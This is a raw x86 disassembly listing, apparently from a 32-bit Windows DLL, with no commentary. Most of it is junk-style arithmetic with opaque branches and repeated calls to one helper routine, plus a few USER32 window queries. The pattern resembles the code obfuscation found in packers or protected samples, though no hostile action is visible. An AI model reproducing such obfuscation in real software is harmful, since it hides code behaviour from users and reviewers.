mov edx, dword [ebp - 0x610]
cmp edx, dword [ebp - 0x614]
jle 0x1005285b
mov eax, 0x152
mov word [0x100a2124], ax
imul ecx, dword [ebp - 0x18], 0xb449df9d
xor edx, edx
mov eax, dword [0x100a2130]
mov esi, dword [0x100a2134]
sub eax, ecx
sbb esi, edx
mov dword [0x100a2130], eax
mov dword [0x100a2134], esi
movsx ecx, byte [0x100a203b]
add ecx, 0xbf
mov dword [ebp - 0x30], ecx
jmp 0x100528f4
movzx edx, word [0x100a2124]
test edx, edx
je 0x100528f4
movzx eax, word [0x100a2138]
sub eax, dword [0x100a20e4]
mov word [0x100a2138], ax
mov ecx, dword [0x100a2100]
sub ecx, 0xf9
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x28]
sub ecx, edx
movzx eax, word [ebp - 8]
not eax
xor eax, dword [ebp - 0x2c]
movzx edx, word [ebp - 8]
movzx esi, word [0x100a2124]
sub edx, esi
imul eax, edx
sub ecx, eax
mov word [0x100a2138], cx
mov ecx, dword [ebp - 0x54]
sub ecx, 0xd8ba
movzx eax, byte [ebp - 2]
cdq
sub eax, ecx
mov byte [ebp - 2], al
movzx edx, word [0x100a2138]
mov eax, dword [ebp - 0x1c]
lea ecx, [edx + eax - 0xc7]
mov word [0x100a2138], cx
mov edx, dword [0x100a2128]
sub edx, dword [0x100a20d8]
mov byte [0x100a207a], dl
mov byte [ebp - 3], 0xda
jmp 0x10052970
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], eax
jb 0x1005292c
movzx ecx, byte [ebp - 1]
imul edx, ecx, 0xe35cf632
mov dword [ebp - 0x20], edx
movzx eax, word [ebp - 0x10]
movzx ecx, byte [ebp - 1]
imul eax, ecx
mov word [ebp - 0x10], ax
movzx edx, word [0x100a2124]
add edx, 0x64a1b70f
mov dword [ebp - 0x30], edx
jmp 0x10052970
mov eax, dword [ebp - 0x5c]
or eax, dword [ebp - 0x58]
jne 0x10052970
movzx eax, word [ebp - 0xc]
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10073ef0
not eax
not edx
movzx ecx, word [ebp - 8]
mov esi, dword [ebp - 0x30]
sub esi, ecx
xor ecx, ecx
push ecx
push esi
push edx
push eax
call fcn.10073ef0
not eax
mov dword [ebp - 0x28], eax
mov dx, word [0x100a2c3c]
mov word [ebp - 0x14], dx
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
jmp 0x1005279b
mov ecx, dword [ebp - 0x1c0]
add ecx, 0x2fb
mov dword [ebp - 0x80c], ecx
mov edx, dword [ebp - 0x54]
not edx
mov eax, dword [ebp - 0x50]
not eax
mov dword [ebp - 0x19fc], edx
mov dword [ebp - 0x19f8], eax
mov ecx, dword [ebp - 0x19fc]
or ecx, dword [ebp - 0x19f8]
je 0x10052aab
mov dword [ebp - 0x1bc], 0x33
imul edx, dword [ebp - 0x3c], 0x320d
mov dword [ebp - 0x24], edx
movzx eax, byte [ebp - 2]
imul eax, eax, 0x4e0511d1
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
mov ecx, dword [0x100a2120]
add ecx, dword [0x100a2114]
mov byte [0x100a203b], cl
movsx edx, word [0x100a20f0]
mov dword [ebp - 0x18], edx
movsx eax, word [0x100a2110]
mov dword [0x100a20dc], eax
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x10052a25
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x109c], edx
mov dword [ebp - 0x1098], eax
jmp 0x10052a36
movsx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x109c], eax
mov dword [ebp - 0x1098], edx
mov cl, byte [ebp - 0x109c]
mov byte [ebp - 2], cl
movzx edx, word [ebp - 8]
sub edx, dword [0x100a2114]
movzx eax, word [ebp - 8]
add eax, edx
mov word [ebp - 8], ax
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x64]
or eax, dword [ebp - 0x60]
jne 0x10052a75
mov dword [ebp - 0x618], 1
jmp 0x10052a7f
mov dword [ebp - 0x618], 0
movzx ecx, word [ebp - 8]
sub ecx, dword [ebp - 0x618]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x1bc]
add edx, 1
mov dword [ebp - 0x1bc], edx
cmp dword [ebp - 0x1bc], 0xffa
jl 0x100529fd
mov eax, dword [ebp - 0x1c0]
add eax, 0x45d
mov dword [ebp - 0x1598], eax
movzx ecx, word [ebp - 8]
sub ecx, 0x7a16a217
jne 0x10052adc
xor edx, edx
mov dword [ebp - 0x10a4], 1
mov dword [ebp - 0x10a0], edx
jmp 0x10052ae7
xorps xmm0, xmm0
movlpd qword [ebp - 0x10a4], xmm0
mov eax, dword [ebp - 0x10a4]
mov ecx, dword [ebp - 0x10a0]
mov dword [0x100a2108], eax
mov dword [0x100a210c], ecx
movzx edx, word [0x100a2118]
movzx eax, byte [ebp - 1]
add edx, eax
movzx ecx, word [0x100a2118]
sub ecx, edx
mov word [0x100a2118], cx
mov ecx, dword [0x100a2140]
add ecx, 0x5de1710d
mov esi, dword [0x100a2144]
adc esi, 0xbb936
movsx eax, byte [str.y4The_server_is_requ]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [str.y4The_server_is_requ], al
xor edx, edx
mov dword [ebp - 0x44], 0x4186
mov dword [ebp - 0x40], edx
mov eax, dword [0x100a2140]
add eax, 0x579fb9a8
mov ecx, dword [0x100a2144]
adc ecx, 0xdfe73
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
sub edx, 0xb0c4ad15
sbb eax, 0
push eax
push edx
mov ecx, dword [0x100a2144]
push ecx
mov edx, dword [0x100a2140]
push edx
call fcn.10073ef0
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
mov eax, dword [ebp - 0x1c0]
add eax, 0x35a
mov dword [ebp - 0x261c], eax
mov byte [0x100a207a], 0x1a
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov eax, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
mov dword [ebp - 0x1a04], ecx
mov dword [ebp - 0x1a00], edx
mov dword [ebp - 0x1a0c], eax
mov dword [ebp - 0x1a08], esi
mov ecx, dword [ebp - 0x1a00]
cmp ecx, dword [ebp - 0x1a08]
ja 0x100530f2
jb 0x10052c12
mov edx, dword [ebp - 0x1a04]
cmp edx, dword [ebp - 0x1a0c]
ja 0x100530f2
mov eax, dword [0x100a2130]
mov ecx, dword [0x100a2134]
mov dword [ebp - 0x1a14], eax
mov dword [ebp - 0x1a10], ecx
mov edx, dword [ebp - 0x1a14]
or edx, dword [ebp - 0x1a10]
je 0x10052f0f
mov dword [ebp - 0x20], 3
mov eax, dword [0x100a2128]
cdq
sub eax, dword [0x100a20d0]
sbb edx, dword [0x100a20d4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x38]
sub eax, 0x70
mov word [ebp - 8], ax
mov dword [ebp - 0x20], 0x5897196c
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 3
ja case.default.0x10052c87
mov edx, dword [ebp - 0x61c]
jmp dword [edx*4 + 0x10071fd4]
imul eax, dword [ebp - 0x34], 0x5276
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
movzx eax, word [ebp - 8]
imul ecx, eax, 0xf0
mov word [ebp - 0xc], cx
cmp dword [0x100a2100], 0
je 0x10052ccc
mov edx, dword [0x100a20d0]
mov eax, dword [0x100a20d4]
mov dword [ebp - 0x10ac], edx
mov dword [ebp - 0x10a8], eax
jmp 0x10052cdd
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x10ac], eax
mov dword [ebp - 0x10a8], edx
mov ecx, dword [ebp - 0x10ac]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov eax, dword [0x100a2104]
cdq
push edx
push eax
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov edx, 0xae
mov word [0x100a20c8], dx
jmp case.default.0x10052c87
mov eax, dword [0x100a20d8]
mov dword [ebp - 0x3c], eax
mov ecx, 8
shl ecx, 0
mov edx, dword [0x100a20e4]
xor edx, dword [ecx + 0x102b7708]
mov dword [0x100a20e4], edx
mov eax, dword [0x100a20f8]
sub eax, 0x62d934cb
mov ecx, dword [0x100a20fc]
sbb ecx, 0x2d998
mov dword [0x100a2108], eax
mov dword [0x100a210c], ecx
jmp case.default.0x10052c87
movzx edx, word [ebp - 0x10]
imul edx, dword [0x100a20f4]
test edx, edx
jne 0x10052d86
xor eax, eax
mov dword [ebp - 0x10b4], 1
mov dword [ebp - 0x10b0], eax
jmp 0x10052d91
xorps xmm0, xmm0
movlpd qword [ebp - 0x10b4], xmm0
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
xor eax, dword [ebp - 0x10b4]
xor edx, dword [ebp - 0x10b0]
mov ecx, dword [ebp - 0x48]
sub eax, dword [ebp - 0x4c]
sbb edx, ecx
mov dword [ebp - 0x1a1c], eax
mov dword [ebp - 0x1a18], edx
mov edx, dword [ebp - 0x1a1c]
or edx, dword [ebp - 0x1a18]
jne 0x10052ded
xor eax, eax
mov dword [ebp - 0x10bc], 1
mov dword [ebp - 0x10b8], eax
jmp 0x10052df8
xorps xmm0, xmm0
movlpd qword [ebp - 0x10bc], xmm0
mov ecx, dword [ebp - 0x10bc]
mov edx, dword [ebp - 0x10b8]
mov dword [0x100a2140], ecx
mov dword [0x100a2144], edx
mov ax, word [0x100a2c3c]
mov word [ebp - 0x10], ax
movsx ecx, byte [str.y4The_server_is_requ]
movsx edx, word [ebp - 0x14]
imul ecx, edx
test ecx, ecx
jne 0x10052e38
mov dword [ebp - 0x620], 1
jmp 0x10052e42
mov dword [ebp - 0x620], 0
movzx eax, byte [str.HeapSize]
movzx ecx, byte [0x100a207a]
imul eax, ecx
imul eax, dword [ebp - 0x620]
mov dword [ebp - 0x1c], eax
movzx edx, word [ebp - 0x10]
imul edx, dword [ebp - 0x2c]
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x2c]
jne 0x10052e7d
mov dword [ebp - 0x624], 1
jmp 0x10052e87
mov dword [ebp - 0x624], 0
movzx ecx, word [ebp - 8]
sub ecx, dword [ebp - 0x624]
mov dword [ebp - 0x34], ecx
jmp case.default.0x10052c87
movzx eax, word [ebp - 0x10]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2620], eax
and ecx, edx
movzx eax, word [ebp - 0x10]
cdq
sub eax, ecx
mov word [ebp - 0x10], ax
movzx ecx, byte [ebp - 2]
sub ecx, dword [0x100a2100]
movzx edx, byte [ebp - 2]
sub edx, ecx
mov byte [ebp - 2], dl
mov eax, dword [0x100a2128]
sub eax, dword [ebp - 0x34]
mov ecx, dword [0x100a2128]
sub ecx, eax
mov dword [0x100a2128], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [0x100a2128]
mov eax, dword [ebp - 0x18]
sub eax, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [0x100a2128]
sub ecx, 0x35
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
mov dword [0x100a2104], 0xb4f0
jmp 0x100530f0
movzx edx, word [ebp - 0xc]
test edx, edx
je 0x1005306e
mov ax, word [0x100a2c3c]
mov word [ebp - 0xc], ax
movzx eax, word [0x100a2118]
movzx ecx, word [ebp - 0xc]
imul eax, ecx
cdq
mov ecx, eax
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x2624], eax
add ecx, edx
movzx eax, byte [str.HeapSize]
cdq
mov esi, eax
mov eax, dword [ebp - 0x34]
cdq
xor eax, 0x17855bc4
or esi, eax
not esi
add ecx, esi
mov word [0x100a2118], cx
movzx eax, byte [str.HeapSize]
cdq
mov ecx, eax
mov esi, edx
add ecx, 0x88762851
adc esi, 0xb4b4e
mov eax, dword [ebp - 0x18]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x18], eax
movzx edx, word [0x100a20e0]
test edx, edx
jne 0x10052fb0
xor eax, eax
mov dword [ebp - 0x10c4], 1
mov dword [ebp - 0x10c0], eax
jmp 0x10052fbb
xorps xmm0, xmm0
movlpd qword [ebp - 0x10c4], xmm0
mov ecx, dword [ebp - 0x10c4]
and ecx, dword [0x100a20d0]
mov edx, dword [ebp - 0x10c0]
and edx, dword [0x100a20d4]
mov dword [ebp - 0x1a24], ecx
mov dword [ebp - 0x1a20], edx
mov eax, dword [ebp - 0x1a24]
or eax, dword [ebp - 0x1a20]
jne 0x10052ff9
mov dword [ebp - 0x628], 1
jmp 0x10053003
mov dword [ebp - 0x628], 0
mov ecx, dword [0x100a2114]
not ecx
sub ecx, 0x62ee4d59
and ecx, dword [ebp - 0x628]
mov esi, ecx
movzx edi, word [0x100a2138]
xor edi, dword [ebp - 0x30]
xor ebx, ebx
movzx eax, byte [ebp - 1]
cdq
push edx
push eax
mov edx, dword [0x100a20fc]
push edx
mov eax, dword [0x100a20f8]
push eax
call fcn.10073ef0
not eax
not edx
push edx
push eax
push ebx
push edi
call fcn.10073ef0
and esi, eax
mov dword [0x100a20d8], esi
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x2628], edx
add ecx, 0x53a4
mov word [ebp - 8], cx
jmp 0x100530f0
cmp dword [ebp - 0x38], 0
je 0x100530c9
mov eax, dword [0x100a2120]
cdq
mov ecx, 8
imul ecx, ecx, 0x48
mov dword [ecx + 0x102df518], eax
mov dword [ecx + 0x102df51c], edx
movsx eax, byte [str.y4The_server_is_requ]
cdq
push 0xf9e91
push 0x9ff16841
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x28], eax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x262c], eax
add edx, 0x455f
mov byte [0x100a2027], dl
jmp 0x100530f0
mov ecx, dword [ebp - 0x24]
not ecx
test ecx, ecx
je 0x100530f0
mov edx, dword [ebp - 0x5c]
add edx, 0x5fc9298e
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x64]
add eax, 1
mov ecx, dword [ebp - 0x60]
adc ecx, 0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
jmp 0x1005315b
mov edx, 4
imul eax, edx, 0xa44
mov ecx, dword [0x100a2128]
mov dword [eax + 0x100b35b8], ecx
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
add edx, 1
adc eax, 0
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100a20d0]
xor ecx, 0x655d
mov byte [0x100a207a], cl
cmp dword [ebp - 0x28], 0
je 0x10053141
mov edx, dword [0x100a2114]
mov dword [ebp - 0x62c], edx
jmp 0x1005314a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x62c], eax
mov cx, word [ebp - 0x62c]
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x34], edx
movzx eax, word [0x100a211c]
movzx ecx, word [ebp - 8]
add ecx, 0x6e
cmp eax, ecx
jne 0x10053234
mov edx, dword [ebp - 0x2c]
xor eax, eax
add edx, dword [0x100a20f8]
adc eax, dword [0x100a20fc]
mov dword [ebp - 0x1a2c], edx
mov dword [ebp - 0x1a28], eax
cmp dword [ebp - 0x1a2c], 1
jne 0x10053234
cmp dword [ebp - 0x1a28], 0
jne 0x10053234
movsx ecx, word [0x100a20c8]
movzx edx, word [ebp - 0xc]
imul edx, dword [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x20], ecx
movzx eax, byte [ebp - 1]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 1], al
imul edx, dword [0x100a2100], 0xeb15f5a1
mov dword [ebp - 0x34], edx
mov eax, dword [0x100a20d0]
sub eax, dword [0x100a2100]
mov word [0x100a2124], ax
jmp 0x10052bb6
cmp dword [ebp - 0x38], 0
jne 0x1005324e
xor edx, edx
mov dword [ebp - 0x10cc], 1
mov dword [ebp - 0x10c8], edx
jmp 0x10053259
xorps xmm0, xmm0
movlpd qword [ebp - 0x10cc], xmm0
mov eax, 0x73a09912
sub eax, dword [ebp - 0x10cc]
mov ecx, 0xe2c47
sbb ecx, dword [ebp - 0x10c8]
mov dword [ebp - 0x1a34], eax
mov dword [ebp - 0x1a30], ecx
mov edx, dword [ebp - 0x1a34]
or edx, dword [ebp - 0x1a30]
jne 0x10053295
mov dword [ebp - 0x630], 1
jmp 0x1005329f
mov dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
not ecx
not esi
mov eax, dword [ebp - 0x38]
cdq
xor eax, 0x11ec5cf4
xor edx, 0x34449
add ecx, eax
adc esi, edx
push 0
push 0x33dbb292
push esi
push ecx
call fcn.10073ef0
mov word [ebp - 0x14], ax
xor edx, edx
mov dword [0x100a2148], 0xf4c8b86b
mov dword [0x100a214c], edx
mov byte [0x100a207a], 0x3f
mov eax, 4
mov word [ebp - 0x14], ax
cmp dword [ebp - 0x2c], 0
je 0x10053314
movzx ecx, byte [0x100a207a]
mov dword [ebp - 0x634], ecx
jmp 0x1005331e
movsx edx, word [ebp - 0x14]
mov dword [ebp - 0x634], edx
mov al, byte [ebp - 0x634]
mov byte [ebp - 2], al
movzx ecx, word [0x100a2124]
imul edx, ecx, 0xf78a2e99
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x1a3c], eax
mov dword [ebp - 0x1a38], ecx
mov edx, dword [ebp - 0x1a3c]
or edx, dword [ebp - 0x1a38]
je 0x10053364
mov eax, dword [0x100a2114]
mov dword [ebp - 0x638], eax
jmp 0x1005336d
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x638], ecx
mov edx, dword [ebp - 0x638]
xor eax, eax
mov dword [0x100a20d0], edx
mov dword [0x100a20d4], eax
mov ecx, dword [0x100a20f4]
add ecx, dword [ebp - 0x2c]
movsx eax, word [0x100a20f0]
cdq
mov edx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0x2634], esi
add eax, edx
sub ecx, eax
mov word [0x100a20e0], cx
cmp dword [ebp - 0x18], 0
jne 0x100533c8
xor eax, eax
mov dword [ebp - 0x1a44], 1
mov dword [ebp - 0x1a40], eax
jmp 0x100533d3
xorps xmm0, xmm0
movlpd qword [ebp - 0x1a44], xmm0
movzx ecx, word [ebp - 8]
xor eax, eax
sub eax, ecx
cdq
mov ecx, eax
mov edx, dword [ebp - 0x1a44]
sub edx, dword [ebp - 0x5c]
add ecx, edx
movzx eax, byte [ebp - 3]
cdq
mov esi, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x2638], edx
sub esi, eax
mov eax, dword [0x100a2120]
add eax, 0xadf2
cdq
xor esi, eax
sub ecx, esi
mov byte [ebp - 3], cl
movsx eax, word [ebp - 0x14]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 4
ja case.default.0x10053431
mov ecx, dword [ebp - 0x63c]
jmp dword [ecx*4 + 0x10071fe4]
mov edx, dword [ebp - 0x5c]
or edx, dword [ebp - 0x58]
je 0x10053459
mov eax, dword [0x100a2140]
mov ecx, dword [0x100a2144]
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], ecx
jmp 0x1005346d
mov edx, dword [0x100a2100]
xor eax, eax
mov dword [ebp - 0x10d4], edx
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x10d4]
mov dword [ebp - 0x28], ecx
movsx eax, word [0x100a20f0]
cdq
mov ecx, eax
add ecx, dword [0x100a2140]
movsx eax, word [0x100a20f0]
cdq
add eax, ecx
mov word [0x100a20f0], ax
movsx edx, word [0x100a20f0]
mov eax, dword [0x100a2128]
sub eax, edx
mov dword [0x100a2128], eax
push 0
push 0xd06b7ec5
mov ecx, dword [0x100a2144]
push ecx
mov edx, dword [0x100a2140]
push edx
call fcn.10073ef0
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx eax, word [0x100a2124]
movzx ecx, word [0x100a2138]
imul eax, ecx
movzx edx, word [0x100a2124]
sub edx, eax
mov word [0x100a2124], dx
mov ecx, dword [0x100a2140]
and ecx, 0x57246772
movzx eax, word [0x100a2124]
cdq
add eax, ecx
mov word [0x100a2124], ax
jmp case.default.0x10053431
movzx edx, word [0x100a2124]
mov eax, dword [ebp - 0x38]
xor eax, edx
not eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x18]
sub eax, ecx
movzx edx, word [0x100a2138]
mov ecx, dword [ebp - 0x38]
not ecx
sub ecx, dword [0x100a20dc]
imul edx, ecx
add eax, edx
mov word [0x100a2138], ax
mov edx, dword [0x100a20e4]
add edx, 0x631edad
xor eax, eax
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
add ecx, edx
adc esi, eax
mov dword [0x100a2130], ecx
mov dword [0x100a2134], esi
mov eax, dword [0x100a2104]
add eax, 0x8f
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], esi
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
push 0
push 0x5e
push eax
push edx
call fcn.10073ef0
mov word [0x100a2118], ax
jmp case.default.0x10053431
mov dword [ebp - 0x30], 0xa124c146
mov cl, byte [0x100a2c3c]
mov byte [0x100a207b], cl
xor edx, edx
mov dword [ebp - 0x64], 2
mov dword [ebp - 0x60], edx
jmp case.default.0x10053431
mov ax, word [0x100a2c3c]
mov word [0x100a20e0], ax
movzx ecx, byte [ebp - 2]
movsx edx, word [ebp - 0x14]
imul ecx, edx
mov byte [ebp - 2], cl
movsx eax, byte [0x100a203b]
add eax, 0xf4
mov word [ebp - 8], ax
jmp case.default.0x10053431
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add edx, ecx
adc eax, esi
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
mov ecx, dword [0x100a2c3c]
mov dword [0x100a2128], ecx
mov edx, dword [0x100a2c3c]
mov dword [0x100a20d8], edx
mov dword [0x100a2100], 0xc0
movzx eax, byte [0x100a207a]
mov ecx, dword [ebp - 0x18]
add ecx, 1
cmp eax, ecx
jne 0x10053adb
mov edx, dword [0x100a2c3c]
mov dword [0x100a2128], edx
movzx eax, byte [ebp - 2]
xor eax, dword [ebp - 0x20]
jne 0x1005366b
mov dword [ebp - 0x640], 1
jmp 0x10053675
mov dword [ebp - 0x640], 0
mov ecx, dword [0x100a2114]
sub ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x640]
mov byte [str.HeapSize], cl
movzx eax, word [ebp - 0x10]
cdq
sub eax, 0x20748e4d
mov dword [0x100a2128], eax
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x100536e8
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x263c], eax
mov eax, dword [ebp - 0x120]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov dword [ebp - 0x2640], eax
mov ecx, dword [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0x2644], eax
cmp dword [ebp - 0x38], 0
je 0x10053849
mov dword [ebp - 0x20], 1
mov edx, dword [0x100a20f8]
add edx, 1
mov eax, dword [0x100a20fc]
adc eax, 0
mov dword [0x100a20f8], edx
mov dword [0x100a20fc], eax
mov ecx, 0x1d1c
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x644], edx
cmp dword [ebp - 0x644], 0
je 0x1005373e
cmp dword [ebp - 0x644], 1
je 0x100537ab
jmp 0x10053847
mov eax, dword [ebp - 0x24]
add eax, 0xc432
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x38]
cdq
push 0xefe0a
push 0xcea0d118
push edx
push eax
call fcn.10073ef0
mov dword [0x100a20dc], eax
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x2648], edx
add ecx, 0x8c48
not ecx
mov dword [ebp - 0x30], ecx
movzx eax, byte [ebp - 1]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov dword [ebp - 0x264c], edx
add ecx, 0x9f
mov byte [ebp - 1], cl
jmp 0x10053847
mov eax, dword [0x100a2144]
push eax
mov ecx, dword [0x100a2140]
push ecx
mov edx, dword [0x100a20d4]
push edx
mov eax, dword [0x100a20d0]
push eax
call fcn.10073ef0
push edx
push eax
mov ecx, dword [0x100a20d4]
push ecx
mov edx, dword [0x100a20d0]
push edx
call fcn.10073ef0
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
movzx eax, word [0x100a20e0]
add eax, 0x25c3a4b7
xor ecx, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
mov edx, 0xffff8d0a
mov word [ebp - 0x14], dx
movzx eax, word [0x100a20e0]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x20], 0
je 0x10053831
movzx edx, byte [ebp - 3]
mov dword [ebp - 0x648], edx
jmp 0x1005383e
movzx eax, word [0x100a211c]
mov dword [ebp - 0x648], eax
mov ecx, dword [ebp - 0x648]
mov dword [ebp - 0x3c], ecx
jmp 0x100538b1
mov edx, 0xc1cb928f
or edx, 0xaac88
je 0x100538b1
movzx eax, word [ebp - 0xc]
cdq
xor eax, dword [0x100a20d0]
xor edx, dword [0x100a20d4]
push edx
push eax
mov eax, dword [0x100a20d4]
push eax
mov ecx, dword [0x100a20d0]
push ecx
call fcn.10073ef0
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov cl, 2
call fcn.10074000
mov word [ebp - 0x14], ax
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
and edx, 0x2213e9c4
and eax, 0
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x1a4c], ecx
mov dword [ebp - 0x1a48], edx
cmp dword [ebp - 0x1a4c], 1
jne 0x10053adb
cmp dword [ebp - 0x1a48], 0
jne 0x10053adb
cmp dword [0x100a20f4], 0
je 0x10053900
mov eax, dword [0x100a2114]
cdq
mov dword [ebp - 0x10dc], eax
mov dword [ebp - 0x10d8], edx
jmp 0x10053917
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x10dc], eax
mov dword [ebp - 0x10d8], ecx
mov dx, word [ebp - 0x10dc]
mov word [0x100a2124], dx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2c]
mov word [ebp - 0x10], ax
xor ecx, ecx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
add edx, dword [0x100a2100]
adc eax, ecx
mov dword [0x100a2130], edx
mov dword [0x100a2134], eax
movsx ecx, word [0x100a20f0]
mov edx, dword [ebp - 0x34]
not edx
imul ecx, edx
test ecx, ecx
jne 0x1005396e
mov dword [ebp - 0x64c], 1
jmp 0x10053978
mov dword [ebp - 0x64c], 0
movzx eax, word [0x100a2124]
test eax, eax
jne 0x10053997
xor ecx, ecx
mov dword [ebp - 0x10e4], 1
mov dword [ebp - 0x10e0], ecx
jmp 0x100539a2
xorps xmm0, xmm0
movlpd qword [ebp - 0x10e4], xmm0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x64c]
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [0x100a203b]
cdq
mov ecx, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x48]
not ecx
not ebx
add eax, ecx
adc edx, ebx
mov ecx, dword [0x100a20d0]
xor ecx, dword [ebp - 0x10e4]
mov ebx, dword [0x100a20d4]
xor ebx, dword [ebp - 0x10e0]
push ebx
push ecx
push edx
push eax
call fcn.10073ef0
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], edi
mov edx, 1
imul eax, edx, 0x59
mov cl, byte [0x100a2138]
mov byte [eax + 0x100b3380], cl
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
sub edx, 0x3f90
sbb eax, 0
mov ecx, dword [0x100a20e4]
xor esi, esi
push eax
push edx
push esi
push ecx
call fcn.10073ef0
